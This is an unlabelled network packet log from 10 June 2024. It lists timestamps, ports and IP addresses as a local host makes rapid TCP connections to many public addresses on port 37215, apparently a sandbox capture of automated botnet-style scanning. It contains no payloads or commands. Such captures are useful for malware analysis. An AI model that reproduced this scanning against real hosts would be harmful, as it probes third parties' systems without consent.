Jun 10, 2024 15:38:00.009452105 CEST	34148	37215	192.168.2.13	197.244.78.206
Jun 10, 2024 15:38:00.009869099 CEST	32966	37215	192.168.2.13	41.45.237.96
Jun 10, 2024 15:38:00.009869099 CEST	32966	37215	192.168.2.13	41.45.237.96
Jun 10, 2024 15:38:00.009895086 CEST	37215	53414	156.38.108.66	192.168.2.13
Jun 10, 2024 15:38:00.010221958 CEST	33328	37215	192.168.2.13	41.45.237.96
Jun 10, 2024 15:38:00.010237932 CEST	37215	53802	156.38.108.66	192.168.2.13
Jun 10, 2024 15:38:00.010274887 CEST	53802	37215	192.168.2.13	156.38.108.66
Jun 10, 2024 15:38:00.010669947 CEST	54964	37215	192.168.2.13	41.58.54.58
Jun 10, 2024 15:38:00.010685921 CEST	54964	37215	192.168.2.13	41.58.54.58
Jun 10, 2024 15:38:00.010708094 CEST	80	39338	193.5.227.125	192.168.2.13
Jun 10, 2024 15:38:00.010715961 CEST	37215	46788	197.91.250.61	192.168.2.13
Jun 10, 2024 15:38:00.010724068 CEST	37215	54370	156.201.14.29	192.168.2.13
Jun 10, 2024 15:38:00.010740042 CEST	37215	58138	156.59.177.15	192.168.2.13
Jun 10, 2024 15:38:00.010742903 CEST	39338	80	192.168.2.13	193.5.227.125
Jun 10, 2024 15:38:00.010746956 CEST	37215	56114	156.237.170.76	192.168.2.13
Jun 10, 2024 15:38:00.010756016 CEST	37215	53026	197.57.68.100	192.168.2.13
Jun 10, 2024 15:38:00.010988951 CEST	55322	37215	192.168.2.13	41.58.54.58
Jun 10, 2024 15:38:00.011379004 CEST	43896	37215	192.168.2.13	41.186.220.178
Jun 10, 2024 15:38:00.011379004 CEST	43896	37215	192.168.2.13	41.186.220.178
Jun 10, 2024 15:38:00.011465073 CEST	37215	53410	197.57.68.100	192.168.2.13
Jun 10, 2024 15:38:00.011509895 CEST	53410	37215	192.168.2.13	197.57.68.100
Jun 10, 2024 15:38:00.011683941 CEST	44250	37215	192.168.2.13	41.186.220.178
Jun 10, 2024 15:38:00.011719942 CEST	37215	45572	197.67.118.32	192.168.2.13
Jun 10, 2024 15:38:00.011918068 CEST	37215	45952	197.67.118.32	192.168.2.13
Jun 10, 2024 15:38:00.011950016 CEST	45952	37215	192.168.2.13	197.67.118.32
Jun 10, 2024 15:38:00.012098074 CEST	50268	37215	192.168.2.13	197.128.25.119
Jun 10, 2024 15:38:00.012098074 CEST	50268	37215	192.168.2.13	197.128.25.119
Jun 10, 2024 15:38:00.012393951 CEST	50618	37215	192.168.2.13	197.128.25.119
Jun 10, 2024 15:38:00.012422085 CEST	37215	53538	41.236.7.25	192.168.2.13
Jun 10, 2024 15:38:00.012794018 CEST	49156	37215	192.168.2.13	156.245.237.250
Jun 10, 2024 15:38:00.012794018 CEST	49156	37215	192.168.2.13	156.245.237.250
Jun 10, 2024 15:38:00.013062954 CEST	37215	53914	41.236.7.25	192.168.2.13
Jun 10, 2024 15:38:00.013102055 CEST	53914	37215	192.168.2.13	41.236.7.25
Jun 10, 2024 15:38:00.013113976 CEST	49502	37215	192.168.2.13	156.245.237.250
Jun 10, 2024 15:38:00.013472080 CEST	37215	39324	156.211.48.76	192.168.2.13
Jun 10, 2024 15:38:00.013509035 CEST	52976	37215	192.168.2.13	197.57.169.86
Jun 10, 2024 15:38:00.013545036 CEST	52976	37215	192.168.2.13	197.57.169.86
Jun 10, 2024 15:38:00.013564110 CEST	37215	39694	156.211.48.76	192.168.2.13
Jun 10, 2024 15:38:00.013597012 CEST	39694	37215	192.168.2.13	156.211.48.76
Jun 10, 2024 15:38:00.013814926 CEST	53316	37215	192.168.2.13	197.57.169.86
Jun 10, 2024 15:38:00.014209986 CEST	56360	37215	192.168.2.13	41.241.121.248
Jun 10, 2024 15:38:00.014221907 CEST	56360	37215	192.168.2.13	41.241.121.248
Jun 10, 2024 15:38:00.014494896 CEST	37215	36608	41.223.243.35	192.168.2.13
Jun 10, 2024 15:38:00.014528990 CEST	56696	37215	192.168.2.13	41.241.121.248
Jun 10, 2024 15:38:00.014735937 CEST	37215	45692	156.27.221.22	192.168.2.13
Jun 10, 2024 15:38:00.014744043 CEST	37215	58160	197.119.156.133	192.168.2.13
Jun 10, 2024 15:38:00.014753103 CEST	37215	36602	197.230.194.3	192.168.2.13
Jun 10, 2024 15:38:00.014760971 CEST	37215	41788	197.234.232.228	192.168.2.13
Jun 10, 2024 15:38:00.014767885 CEST	37215	48328	41.15.193.245	192.168.2.13
Jun 10, 2024 15:38:00.014801979 CEST	37215	36974	41.223.243.35	192.168.2.13
Jun 10, 2024 15:38:00.014838934 CEST	36974	37215	192.168.2.13	41.223.243.35
Jun 10, 2024 15:38:00.014910936 CEST	38984	37215	192.168.2.13	156.122.137.98
Jun 10, 2024 15:38:00.014925003 CEST	38984	37215	192.168.2.13	156.122.137.98
Jun 10, 2024 15:38:00.015227079 CEST	39316	37215	192.168.2.13	156.122.137.98
Jun 10, 2024 15:38:00.015547037 CEST	37215	32966	41.45.237.96	192.168.2.13
Jun 10, 2024 15:38:00.015623093 CEST	40590	37215	192.168.2.13	41.194.61.76
Jun 10, 2024 15:38:00.015623093 CEST	40590	37215	192.168.2.13	41.194.61.76
Jun 10, 2024 15:38:00.015662909 CEST	37215	33328	41.45.237.96	192.168.2.13
Jun 10, 2024 15:38:00.015702009 CEST	33328	37215	192.168.2.13	41.45.237.96
Jun 10, 2024 15:38:00.015916109 CEST	40920	37215	192.168.2.13	41.194.61.76
Jun 10, 2024 15:38:00.016067028 CEST	37215	54964	41.58.54.58	192.168.2.13
Jun 10, 2024 15:38:00.016076088 CEST	37215	55322	41.58.54.58	192.168.2.13
Jun 10, 2024 15:38:00.016102076 CEST	55322	37215	192.168.2.13	41.58.54.58
Jun 10, 2024 15:38:00.016307116 CEST	60502	37215	192.168.2.13	156.176.31.94
Jun 10, 2024 15:38:00.016307116 CEST	60502	37215	192.168.2.13	156.176.31.94
Jun 10, 2024 15:38:00.016618013 CEST	60830	37215	192.168.2.13	156.176.31.94
Jun 10, 2024 15:38:00.016855955 CEST	37215	43896	41.186.220.178	192.168.2.13
Jun 10, 2024 15:38:00.017007113 CEST	41972	37215	192.168.2.13	156.163.189.151
Jun 10, 2024 15:38:00.017007113 CEST	41972	37215	192.168.2.13	156.163.189.151
Jun 10, 2024 15:38:00.017124891 CEST	37215	44250	41.186.220.178	192.168.2.13
Jun 10, 2024 15:38:00.017169952 CEST	44250	37215	192.168.2.13	41.186.220.178
Jun 10, 2024 15:38:00.017313957 CEST	42298	37215	192.168.2.13	156.163.189.151
Jun 10, 2024 15:38:00.017406940 CEST	37215	50268	197.128.25.119	192.168.2.13
Jun 10, 2024 15:38:00.017625093 CEST	37215	50618	197.128.25.119	192.168.2.13
Jun 10, 2024 15:38:00.017663002 CEST	50618	37215	192.168.2.13	197.128.25.119
Jun 10, 2024 15:38:00.017704964 CEST	44662	37215	192.168.2.13	41.253.102.61
Jun 10, 2024 15:38:00.017719030 CEST	44662	37215	192.168.2.13	41.253.102.61
Jun 10, 2024 15:38:00.018021107 CEST	44984	37215	192.168.2.13	41.253.102.61
Jun 10, 2024 15:38:00.018363953 CEST	37215	49156	156.245.237.250	192.168.2.13
Jun 10, 2024 15:38:00.018373013 CEST	37215	49502	156.245.237.250	192.168.2.13
Jun 10, 2024 15:38:00.018395901 CEST	49502	37215	192.168.2.13	156.245.237.250
Jun 10, 2024 15:38:00.018435001 CEST	35452	37215	192.168.2.13	197.116.197.156
Jun 10, 2024 15:38:00.018451929 CEST	35452	37215	192.168.2.13	197.116.197.156
Jun 10, 2024 15:38:00.018579960 CEST	37215	56350	156.211.89.221	192.168.2.13
Jun 10, 2024 15:38:00.018598080 CEST	37215	41548	197.33.14.33	192.168.2.13
Jun 10, 2024 15:38:00.018636942 CEST	37215	47258	41.170.34.101	192.168.2.13
Jun 10, 2024 15:38:00.018645048 CEST	37215	60046	41.174.115.39	192.168.2.13
Jun 10, 2024 15:38:00.018652916 CEST	37215	49034	197.216.238.129	192.168.2.13
Jun 10, 2024 15:38:00.018748999 CEST	35772	37215	192.168.2.13	197.116.197.156
Jun 10, 2024 15:38:00.018810034 CEST	37215	52976	197.57.169.86	192.168.2.13
Jun 10, 2024 15:38:00.019151926 CEST	57320	37215	192.168.2.13	156.12.201.188
Jun 10, 2024 15:38:00.019151926 CEST	57320	37215	192.168.2.13	156.12.201.188
Jun 10, 2024 15:38:00.019454956 CEST	57638	37215	192.168.2.13	156.12.201.188
Jun 10, 2024 15:38:00.019725084 CEST	37215	53316	197.57.169.86	192.168.2.13
Jun 10, 2024 15:38:00.019754887 CEST	37215	56360	41.241.121.248	192.168.2.13
Jun 10, 2024 15:38:00.019761086 CEST	53316	37215	192.168.2.13	197.57.169.86
Jun 10, 2024 15:38:00.019872904 CEST	41708	37215	192.168.2.13	156.19.135.49
Jun 10, 2024 15:38:00.019889116 CEST	41708	37215	192.168.2.13	156.19.135.49
Jun 10, 2024 15:38:00.020189047 CEST	42024	37215	192.168.2.13	156.19.135.49
Jun 10, 2024 15:38:00.020414114 CEST	37215	56696	41.241.121.248	192.168.2.13
Jun 10, 2024 15:38:00.020452976 CEST	56696	37215	192.168.2.13	41.241.121.248
Jun 10, 2024 15:38:00.020473003 CEST	37215	38984	156.122.137.98	192.168.2.13
Jun 10, 2024 15:38:00.020596027 CEST	56620	37215	192.168.2.13	156.24.110.61
Jun 10, 2024 15:38:00.020596027 CEST	56620	37215	192.168.2.13	156.24.110.61
Jun 10, 2024 15:38:00.020876884 CEST	37215	39316	156.122.137.98	192.168.2.13
Jun 10, 2024 15:38:00.020905972 CEST	56934	37215	192.168.2.13	156.24.110.61
Jun 10, 2024 15:38:00.020922899 CEST	39316	37215	192.168.2.13	156.122.137.98
Jun 10, 2024 15:38:00.021323919 CEST	51562	37215	192.168.2.13	41.130.180.46
Jun 10, 2024 15:38:00.021323919 CEST	51562	37215	192.168.2.13	41.130.180.46
Jun 10, 2024 15:38:00.021423101 CEST	37215	40590	41.194.61.76	192.168.2.13
Jun 10, 2024 15:38:00.021644115 CEST	51876	37215	192.168.2.13	41.130.180.46
Jun 10, 2024 15:38:00.022032022 CEST	37215	40920	41.194.61.76	192.168.2.13
Jun 10, 2024 15:38:00.022038937 CEST	48046	37215	192.168.2.13	197.167.77.113
Jun 10, 2024 15:38:00.022038937 CEST	48046	37215	192.168.2.13	197.167.77.113
Jun 10, 2024 15:38:00.022041082 CEST	37215	60502	156.176.31.94	192.168.2.13
Jun 10, 2024 15:38:00.022064924 CEST	40920	37215	192.168.2.13	41.194.61.76
Jun 10, 2024 15:38:00.022331953 CEST	48358	37215	192.168.2.13	197.167.77.113
Jun 10, 2024 15:38:00.022727013 CEST	38164	37215	192.168.2.13	156.162.243.21
Jun 10, 2024 15:38:00.022727013 CEST	38164	37215	192.168.2.13	156.162.243.21
Jun 10, 2024 15:38:00.022752047 CEST	37215	60830	156.176.31.94	192.168.2.13
Jun 10, 2024 15:38:00.022777081 CEST	37215	60878	41.140.184.247	192.168.2.13
Jun 10, 2024 15:38:00.022784948 CEST	37215	34932	197.9.107.34	192.168.2.13
Jun 10, 2024 15:38:00.022785902 CEST	60830	37215	192.168.2.13	156.176.31.94
Jun 10, 2024 15:38:00.022860050 CEST	37215	36530	156.231.3.185	192.168.2.13
Jun 10, 2024 15:38:00.022869110 CEST	37215	44740	41.38.164.93	192.168.2.13
Jun 10, 2024 15:38:00.022876024 CEST	37215	60388	197.149.113.57	192.168.2.13
Jun 10, 2024 15:38:00.022883892 CEST	37215	41972	156.163.189.151	192.168.2.13
Jun 10, 2024 15:38:00.023032904 CEST	38474	37215	192.168.2.13	156.162.243.21
Jun 10, 2024 15:38:00.023205042 CEST	37215	42298	156.163.189.151	192.168.2.13
Jun 10, 2024 15:38:00.023240089 CEST	42298	37215	192.168.2.13	156.163.189.151
Jun 10, 2024 15:38:00.023272991 CEST	37215	44662	41.253.102.61	192.168.2.13
Jun 10, 2024 15:38:00.023435116 CEST	56786	37215	192.168.2.13	197.59.140.99
Jun 10, 2024 15:38:00.023435116 CEST	56786	37215	192.168.2.13	197.59.140.99
Jun 10, 2024 15:38:00.023746967 CEST	57094	37215	192.168.2.13	197.59.140.99
Jun 10, 2024 15:38:00.023756027 CEST	37215	44984	41.253.102.61	192.168.2.13
Jun 10, 2024 15:38:00.023791075 CEST	44984	37215	192.168.2.13	41.253.102.61
Jun 10, 2024 15:38:00.024162054 CEST	52364	37215	192.168.2.13	197.238.227.229
Jun 10, 2024 15:38:00.024162054 CEST	52364	37215	192.168.2.13	197.238.227.229
Jun 10, 2024 15:38:00.024467945 CEST	52668	37215	192.168.2.13	197.238.227.229
Jun 10, 2024 15:38:00.024553061 CEST	37215	35452	197.116.197.156	192.168.2.13
Jun 10, 2024 15:38:00.024563074 CEST	37215	35772	197.116.197.156	192.168.2.13
Jun 10, 2024 15:38:00.024590015 CEST	35772	37215	192.168.2.13	197.116.197.156
Jun 10, 2024 15:38:00.024792910 CEST	37215	57320	156.12.201.188	192.168.2.13
Jun 10, 2024 15:38:00.024876118 CEST	49654	37215	192.168.2.13	197.98.178.183
Jun 10, 2024 15:38:00.024876118 CEST	49654	37215	192.168.2.13	197.98.178.183
Jun 10, 2024 15:38:00.025178909 CEST	49958	37215	192.168.2.13	197.98.178.183
Jun 10, 2024 15:38:00.025388956 CEST	37215	57638	156.12.201.188	192.168.2.13
Jun 10, 2024 15:38:00.025428057 CEST	57638	37215	192.168.2.13	156.12.201.188
Jun 10, 2024 15:38:00.025434971 CEST	37215	41708	156.19.135.49	192.168.2.13
Jun 10, 2024 15:38:00.025563002 CEST	40448	37215	192.168.2.13	156.11.232.27
Jun 10, 2024 15:38:00.025579929 CEST	40448	37215	192.168.2.13	156.11.232.27
Jun 10, 2024 15:38:00.025876045 CEST	40752	37215	192.168.2.13	156.11.232.27
Jun 10, 2024 15:38:00.025940895 CEST	37215	42024	156.19.135.49	192.168.2.13
Jun 10, 2024 15:38:00.025959969 CEST	37215	56620	156.24.110.61	192.168.2.13
Jun 10, 2024 15:38:00.025965929 CEST	42024	37215	192.168.2.13	156.19.135.49
Jun 10, 2024 15:38:00.026294947 CEST	43020	37215	192.168.2.13	156.253.209.134
Jun 10, 2024 15:38:00.026294947 CEST	43020	37215	192.168.2.13	156.253.209.134
Jun 10, 2024 15:38:00.026463032 CEST	37215	56934	156.24.110.61	192.168.2.13
Jun 10, 2024 15:38:00.026495934 CEST	56934	37215	192.168.2.13	156.24.110.61
Jun 10, 2024 15:38:00.026602983 CEST	37215	35420	197.64.121.194	192.168.2.13
Jun 10, 2024 15:38:00.026608944 CEST	43324	37215	192.168.2.13	156.253.209.134
Jun 10, 2024 15:38:00.026611090 CEST	37215	35362	41.117.93.142	192.168.2.13
Jun 10, 2024 15:38:00.026621103 CEST	37215	45156	197.37.79.4	192.168.2.13
Jun 10, 2024 15:38:00.026631117 CEST	37215	60256	41.204.133.93	192.168.2.13
Jun 10, 2024 15:38:00.027008057 CEST	42370	37215	192.168.2.13	197.218.185.191
Jun 10, 2024 15:38:00.027008057 CEST	42370	37215	192.168.2.13	197.218.185.191
Jun 10, 2024 15:38:00.027014017 CEST	37215	51562	41.130.180.46	192.168.2.13
Jun 10, 2024 15:38:00.027306080 CEST	42674	37215	192.168.2.13	197.218.185.191
Jun 10, 2024 15:38:00.027678967 CEST	37215	51876	41.130.180.46	192.168.2.13
Jun 10, 2024 15:38:00.027698994 CEST	55096	37215	192.168.2.13	41.59.124.13
Jun 10, 2024 15:38:00.027698994 CEST	55096	37215	192.168.2.13	41.59.124.13
Jun 10, 2024 15:38:00.027710915 CEST	51876	37215	192.168.2.13	41.130.180.46
Jun 10, 2024 15:38:00.027760983 CEST	37215	48046	197.167.77.113	192.168.2.13
Jun 10, 2024 15:38:00.027998924 CEST	55400	37215	192.168.2.13	41.59.124.13
Jun 10, 2024 15:38:00.028249025 CEST	37215	48358	197.167.77.113	192.168.2.13
Jun 10, 2024 15:38:00.028281927 CEST	48358	37215	192.168.2.13	197.167.77.113
Jun 10, 2024 15:38:00.028300047 CEST	37215	38164	156.162.243.21	192.168.2.13
Jun 10, 2024 15:38:00.028419018 CEST	42996	37215	192.168.2.13	197.211.105.203
Jun 10, 2024 15:38:00.028423071 CEST	42996	37215	192.168.2.13	197.211.105.203
Jun 10, 2024 15:38:00.028752089 CEST	43300	37215	192.168.2.13	197.211.105.203
Jun 10, 2024 15:38:00.028789997 CEST	37215	38474	156.162.243.21	192.168.2.13
Jun 10, 2024 15:38:00.028814077 CEST	37215	56786	197.59.140.99	192.168.2.13
Jun 10, 2024 15:38:00.028829098 CEST	38474	37215	192.168.2.13	156.162.243.21
Jun 10, 2024 15:38:00.029158115 CEST	34938	37215	192.168.2.13	156.205.120.113
Jun 10, 2024 15:38:00.029169083 CEST	34938	37215	192.168.2.13	156.205.120.113
Jun 10, 2024 15:38:00.029326916 CEST	37215	57094	197.59.140.99	192.168.2.13
Jun 10, 2024 15:38:00.029361963 CEST	57094	37215	192.168.2.13	197.59.140.99
Jun 10, 2024 15:38:00.029489994 CEST	35242	37215	192.168.2.13	156.205.120.113
Jun 10, 2024 15:38:00.029895067 CEST	33426	37215	192.168.2.13	41.199.166.65
Jun 10, 2024 15:38:00.029895067 CEST	33426	37215	192.168.2.13	41.199.166.65
Jun 10, 2024 15:38:00.029920101 CEST	37215	52364	197.238.227.229	192.168.2.13
Jun 10, 2024 15:38:00.030220032 CEST	33730	37215	192.168.2.13	41.199.166.65
Jun 10, 2024 15:38:00.030510902 CEST	37215	52668	197.238.227.229	192.168.2.13
Jun 10, 2024 15:38:00.030520916 CEST	37215	49654	197.98.178.183	192.168.2.13
Jun 10, 2024 15:38:00.030545950 CEST	52668	37215	192.168.2.13	197.238.227.229
Jun 10, 2024 15:38:00.030617952 CEST	41584	37215	192.168.2.13	41.169.217.182
Jun 10, 2024 15:38:00.030617952 CEST	41584	37215	192.168.2.13	41.169.217.182
Jun 10, 2024 15:38:00.030643940 CEST	37215	57818	156.159.10.140	192.168.2.13
Jun 10, 2024 15:38:00.030653954 CEST	37215	52668	156.197.209.223	192.168.2.13
Jun 10, 2024 15:38:00.030662060 CEST	37215	44048	197.255.246.136	192.168.2.13
Jun 10, 2024 15:38:00.030669928 CEST	37215	60620	41.144.136.243	192.168.2.13
Jun 10, 2024 15:38:00.030677080 CEST	37215	41120	41.186.239.153	192.168.2.13
Jun 10, 2024 15:38:00.030936956 CEST	41888	37215	192.168.2.13	41.169.217.182
Jun 10, 2024 15:38:00.030976057 CEST	37215	49958	197.98.178.183	192.168.2.13
Jun 10, 2024 15:38:00.031012058 CEST	49958	37215	192.168.2.13	197.98.178.183
Jun 10, 2024 15:38:00.031358957 CEST	52142	37215	192.168.2.13	197.94.187.63
Jun 10, 2024 15:38:00.031358957 CEST	52142	37215	192.168.2.13	197.94.187.63
Jun 10, 2024 15:38:00.031640053 CEST	37215	40448	156.11.232.27	192.168.2.13
Jun 10, 2024 15:38:00.031647921 CEST	52446	37215	192.168.2.13	197.94.187.63
Jun 10, 2024 15:38:00.031649113 CEST	37215	40752	156.11.232.27	192.168.2.13
Jun 10, 2024 15:38:00.031672955 CEST	40752	37215	192.168.2.13	156.11.232.27
Jun 10, 2024 15:38:00.031781912 CEST	37215	43020	156.253.209.134	192.168.2.13
Jun 10, 2024 15:38:00.031944036 CEST	37215	43324	156.253.209.134	192.168.2.13
Jun 10, 2024 15:38:00.031975031 CEST	43324	37215	192.168.2.13	156.253.209.134
Jun 10, 2024 15:38:00.032058001 CEST	51814	37215	192.168.2.13	197.105.195.56
Jun 10, 2024 15:38:00.032058001 CEST	51814	37215	192.168.2.13	197.105.195.56
Jun 10, 2024 15:38:00.032074928 CEST	37215	42370	197.218.185.191	192.168.2.13
Jun 10, 2024 15:38:00.032097101 CEST	37215	42674	197.218.185.191	192.168.2.13
Jun 10, 2024 15:38:00.032134056 CEST	42674	37215	192.168.2.13	197.218.185.191
Jun 10, 2024 15:38:00.032345057 CEST	52118	37215	192.168.2.13	197.105.195.56
Jun 10, 2024 15:38:00.032506943 CEST	37215	55096	41.59.124.13	192.168.2.13
Jun 10, 2024 15:38:00.032756090 CEST	42506	37215	192.168.2.13	197.235.137.220
Jun 10, 2024 15:38:00.032756090 CEST	42506	37215	192.168.2.13	197.235.137.220
Jun 10, 2024 15:38:00.032823086 CEST	37215	55400	41.59.124.13	192.168.2.13
Jun 10, 2024 15:38:00.032857895 CEST	55400	37215	192.168.2.13	41.59.124.13
Jun 10, 2024 15:38:00.033062935 CEST	42810	37215	192.168.2.13	197.235.137.220
Jun 10, 2024 15:38:00.033260107 CEST	37215	42996	197.211.105.203	192.168.2.13
Jun 10, 2024 15:38:00.033458948 CEST	36414	37215	192.168.2.13	156.115.29.3
Jun 10, 2024 15:38:00.033458948 CEST	36414	37215	192.168.2.13	156.115.29.3
Jun 10, 2024 15:38:00.033638954 CEST	37215	43300	197.211.105.203	192.168.2.13
Jun 10, 2024 15:38:00.033685923 CEST	43300	37215	192.168.2.13	197.211.105.203
Jun 10, 2024 15:38:00.033775091 CEST	36718	37215	192.168.2.13	156.115.29.3
Jun 10, 2024 15:38:00.034176111 CEST	36348	37215	192.168.2.13	41.222.149.196
Jun 10, 2024 15:38:00.034176111 CEST	36348	37215	192.168.2.13	41.222.149.196
Jun 10, 2024 15:38:00.034372091 CEST	37215	34938	156.205.120.113	192.168.2.13
Jun 10, 2024 15:38:00.034380913 CEST	37215	35242	156.205.120.113	192.168.2.13
Jun 10, 2024 15:38:00.034410000 CEST	35242	37215	192.168.2.13	156.205.120.113
Jun 10, 2024 15:38:00.034478903 CEST	36652	37215	192.168.2.13	41.222.149.196
Jun 10, 2024 15:38:00.034626007 CEST	37215	58502	197.156.129.89	192.168.2.13
Jun 10, 2024 15:38:00.034635067 CEST	37215	51130	41.109.81.128	192.168.2.13
Jun 10, 2024 15:38:00.034642935 CEST	37215	37842	41.209.100.187	192.168.2.13
Jun 10, 2024 15:38:00.034648895 CEST	37215	57044	156.218.214.250	192.168.2.13
Jun 10, 2024 15:38:00.034657001 CEST	37215	53016	156.32.124.85	192.168.2.13
Jun 10, 2024 15:38:00.034734964 CEST	37215	33426	41.199.166.65	192.168.2.13
Jun 10, 2024 15:38:00.034889936 CEST	34742	37215	192.168.2.13	156.230.39.62
Jun 10, 2024 15:38:00.034914017 CEST	34742	37215	192.168.2.13	156.230.39.62
Jun 10, 2024 15:38:00.035113096 CEST	37215	33730	41.199.166.65	192.168.2.13
Jun 10, 2024 15:38:00.035155058 CEST	33730	37215	192.168.2.13	41.199.166.65
Jun 10, 2024 15:38:00.035213947 CEST	35046	37215	192.168.2.13	156.230.39.62
Jun 10, 2024 15:38:00.035522938 CEST	37215	41584	41.169.217.182	192.168.2.13
Jun 10, 2024 15:38:00.035608053 CEST	41890	37215	192.168.2.13	197.253.99.100
Jun 10, 2024 15:38:00.035608053 CEST	41890	37215	192.168.2.13	197.253.99.100
Jun 10, 2024 15:38:00.035690069 CEST	37215	41888	41.169.217.182	192.168.2.13
Jun 10, 2024 15:38:00.035726070 CEST	41888	37215	192.168.2.13	41.169.217.182
Jun 10, 2024 15:38:00.035924911 CEST	42194	37215	192.168.2.13	197.253.99.100
Jun 10, 2024 15:38:00.036323071 CEST	50702	37215	192.168.2.13	156.238.163.110
Jun 10, 2024 15:38:00.036323071 CEST	50702	37215	192.168.2.13	156.238.163.110
Jun 10, 2024 15:38:00.036463022 CEST	37215	52142	197.94.187.63	192.168.2.13
Jun 10, 2024 15:38:00.036628008 CEST	51006	37215	192.168.2.13	156.238.163.110
Jun 10, 2024 15:38:00.036647081 CEST	37215	52446	197.94.187.63	192.168.2.13
Jun 10, 2024 15:38:00.036679029 CEST	52446	37215	192.168.2.13	197.94.187.63
Jun 10, 2024 15:38:00.036834955 CEST	37215	51814	197.105.195.56	192.168.2.13
Jun 10, 2024 15:38:00.037044048 CEST	33786	37215	192.168.2.13	156.179.78.181
Jun 10, 2024 15:38:00.037044048 CEST	33786	37215	192.168.2.13	156.179.78.181
Jun 10, 2024 15:38:00.037132978 CEST	37215	52118	197.105.195.56	192.168.2.13
Jun 10, 2024 15:38:00.037169933 CEST	52118	37215	192.168.2.13	197.105.195.56
Jun 10, 2024 15:38:00.037355900 CEST	34090	37215	192.168.2.13	156.179.78.181
Jun 10, 2024 15:38:00.037570000 CEST	37215	42506	197.235.137.220	192.168.2.13
Jun 10, 2024 15:38:00.037729979 CEST	50096	37215	192.168.2.13	156.175.16.45
Jun 10, 2024 15:38:00.037743092 CEST	50096	37215	192.168.2.13	156.175.16.45
Jun 10, 2024 15:38:00.037941933 CEST	37215	42810	197.235.137.220	192.168.2.13
Jun 10, 2024 15:38:00.037975073 CEST	42810	37215	192.168.2.13	197.235.137.220
Jun 10, 2024 15:38:00.038057089 CEST	50400	37215	192.168.2.13	156.175.16.45
Jun 10, 2024 15:38:00.038360119 CEST	37215	36414	156.115.29.3	192.168.2.13
Jun 10, 2024 15:38:00.038460970 CEST	51092	37215	192.168.2.13	197.21.231.68
Jun 10, 2024 15:38:00.038460970 CEST	51092	37215	192.168.2.13	197.21.231.68
Jun 10, 2024 15:38:00.038639069 CEST	37215	33394	156.168.136.24	192.168.2.13
Jun 10, 2024 15:38:00.038655996 CEST	37215	49128	156.165.201.247	192.168.2.13
Jun 10, 2024 15:38:00.038665056 CEST	37215	52860	156.29.235.89	192.168.2.13
Jun 10, 2024 15:38:00.038702011 CEST	37215	37196	41.89.132.28	192.168.2.13
Jun 10, 2024 15:38:00.038711071 CEST	37215	36718	156.115.29.3	192.168.2.13
Jun 10, 2024 15:38:00.038738966 CEST	36718	37215	192.168.2.13	156.115.29.3
Jun 10, 2024 15:38:00.038806915 CEST	51396	37215	192.168.2.13	197.21.231.68
Jun 10, 2024 15:38:00.039158106 CEST	37215	36348	41.222.149.196	192.168.2.13
Jun 10, 2024 15:38:00.039202929 CEST	46642	37215	192.168.2.13	41.205.70.44
Jun 10, 2024 15:38:00.039216995 CEST	46642	37215	192.168.2.13	41.205.70.44
Jun 10, 2024 15:38:00.039237976 CEST	37215	36652	41.222.149.196	192.168.2.13
Jun 10, 2024 15:38:00.039269924 CEST	36652	37215	192.168.2.13	41.222.149.196
Jun 10, 2024 15:38:00.039549112 CEST	46946	37215	192.168.2.13	41.205.70.44
Jun 10, 2024 15:38:00.039752960 CEST	37215	34742	156.230.39.62	192.168.2.13
Jun 10, 2024 15:38:00.039932013 CEST	38456	37215	192.168.2.13	156.139.95.100
Jun 10, 2024 15:38:00.039932013 CEST	38456	37215	192.168.2.13	156.139.95.100
Jun 10, 2024 15:38:00.040036917 CEST	37215	35046	156.230.39.62	192.168.2.13
Jun 10, 2024 15:38:00.040071011 CEST	35046	37215	192.168.2.13	156.230.39.62
Jun 10, 2024 15:38:00.040138960 CEST	80	40246	96.121.230.115	192.168.2.13
Jun 10, 2024 15:38:00.040179968 CEST	40246	80	192.168.2.13	96.121.230.115
Jun 10, 2024 15:38:00.040247917 CEST	38760	37215	192.168.2.13	156.139.95.100
Jun 10, 2024 15:38:00.040441036 CEST	37215	41890	197.253.99.100	192.168.2.13
Jun 10, 2024 15:38:00.040776968 CEST	37215	42194	197.253.99.100	192.168.2.13
Jun 10, 2024 15:38:00.040819883 CEST	42194	37215	192.168.2.13	197.253.99.100
Jun 10, 2024 15:38:00.041024923 CEST	57854	37215	192.168.2.13	156.211.139.234
Jun 10, 2024 15:38:00.041142941 CEST	37215	50702	156.238.163.110	192.168.2.13
Jun 10, 2024 15:38:00.041481018 CEST	37215	51006	156.238.163.110	192.168.2.13
Jun 10, 2024 15:38:00.041512966 CEST	51006	37215	192.168.2.13	156.238.163.110
Jun 10, 2024 15:38:00.041677952 CEST	33540	37215	192.168.2.13	41.69.228.208
Jun 10, 2024 15:38:00.041865110 CEST	37215	33786	156.179.78.181	192.168.2.13
Jun 10, 2024 15:38:00.042205095 CEST	37215	34090	156.179.78.181	192.168.2.13
Jun 10, 2024 15:38:00.042248964 CEST	34090	37215	192.168.2.13	156.179.78.181
Jun 10, 2024 15:38:00.042351007 CEST	37698	37215	192.168.2.13	41.34.192.208
Jun 10, 2024 15:38:00.042532921 CEST	37215	50096	156.175.16.45	192.168.2.13
Jun 10, 2024 15:38:00.042709112 CEST	37215	39806	197.99.205.156	192.168.2.13
Jun 10, 2024 15:38:00.042716980 CEST	37215	53342	197.218.247.171	192.168.2.13
Jun 10, 2024 15:38:00.042838097 CEST	37215	50400	156.175.16.45	192.168.2.13
Jun 10, 2024 15:38:00.042871952 CEST	50400	37215	192.168.2.13	156.175.16.45
Jun 10, 2024 15:38:00.043065071 CEST	55306	37215	192.168.2.13	156.199.176.162
Jun 10, 2024 15:38:00.043315887 CEST	37215	51092	197.21.231.68	192.168.2.13
Jun 10, 2024 15:38:00.043575048 CEST	37215	51396	197.21.231.68	192.168.2.13
Jun 10, 2024 15:38:00.043611050 CEST	51396	37215	192.168.2.13	197.21.231.68
Jun 10, 2024 15:38:00.043737888 CEST	60154	37215	192.168.2.13	197.176.59.104
Jun 10, 2024 15:38:00.044003010 CEST	37215	46642	41.205.70.44	192.168.2.13
Jun 10, 2024 15:38:00.044347048 CEST	37215	46946	41.205.70.44	192.168.2.13
Jun 10, 2024 15:38:00.044380903 CEST	46946	37215	192.168.2.13	41.205.70.44
Jun 10, 2024 15:38:00.044436932 CEST	48850	37215	192.168.2.13	156.202.215.189
Jun 10, 2024 15:38:00.044755936 CEST	37215	38456	156.139.95.100	192.168.2.13
Jun 10, 2024 15:38:00.044997931 CEST	37215	38760	156.139.95.100	192.168.2.13
Jun 10, 2024 15:38:00.045037985 CEST	38760	37215	192.168.2.13	156.139.95.100
